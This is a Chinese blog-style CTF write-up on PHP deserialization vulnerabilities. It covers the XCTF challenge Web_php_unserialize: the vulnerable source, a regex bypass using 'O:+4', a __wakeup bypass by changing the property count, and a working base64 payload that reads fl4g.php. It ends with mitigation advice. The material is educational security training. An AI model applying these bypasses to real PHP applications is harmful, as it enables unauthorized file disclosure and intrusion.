php反序列化漏洞 (9)

生成的字符串:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
成功获得flag

php反序列化漏洞

bypass反序列化正则

当执行反序列化时,使用正则'/[oc]:\d+:/i'
进行拦截时,主要拦截O:数字:的反序列化字符串,那要怎么绕过呢???
php反序列化时O:+4:和O:4:的解析是一样的,具体是php的内核是这么写的
所以可以通过加+来进行绕过

一个ctf例题(Web_php_unserialize)

题目地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5409&page=1
打开题目是源代码:

<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>

php反序列化漏洞


所以构造payload来进行绕过:

<?php class Demo { private $file = 'fl4g.php'; } $x= serialize(new Demo); $x=str_replace('O:4', 'O:+4',$x);//绕过preg_match() $x=str_replace(':1:', ':3:',$x);//绕过__wakeup() echo base64_encode($x); ?>

TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
var传入即可获得flag
如果这里没有base64加密,我么也需要进行url编码,因为demo中private为私有属性,反序列化会出现不可见字符,所以要进行url编码

php反序列化漏洞

如何防止php反序列化

尽量不要用序列化来传输数据

不要相信用户传入数据,或者不让用户传入完整的序列化类型,进行过滤

隔离运行在低权限环境中的反序列化,记录反序列化异常和失败,例如传入类型不是预期类型,或者反序列化引发异常,限制或监视来自反序列化的容器或服务器的传入和传出网络连接,限制或监视来自反序列化的容器或服务器的传入和传出网络连接。监视反序列化,如果用户不断地反序列化,则发出警报。

参考文章及说明

参考文章:
https://blog.csdn.net/qq_45521281/article/details/107135706
https://paper.seebug.org/680/

《从从0到1 ctfer的成长之路》
最后欢迎访问我的个人博客:https://lmg66.github.io/
说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wpsgff.html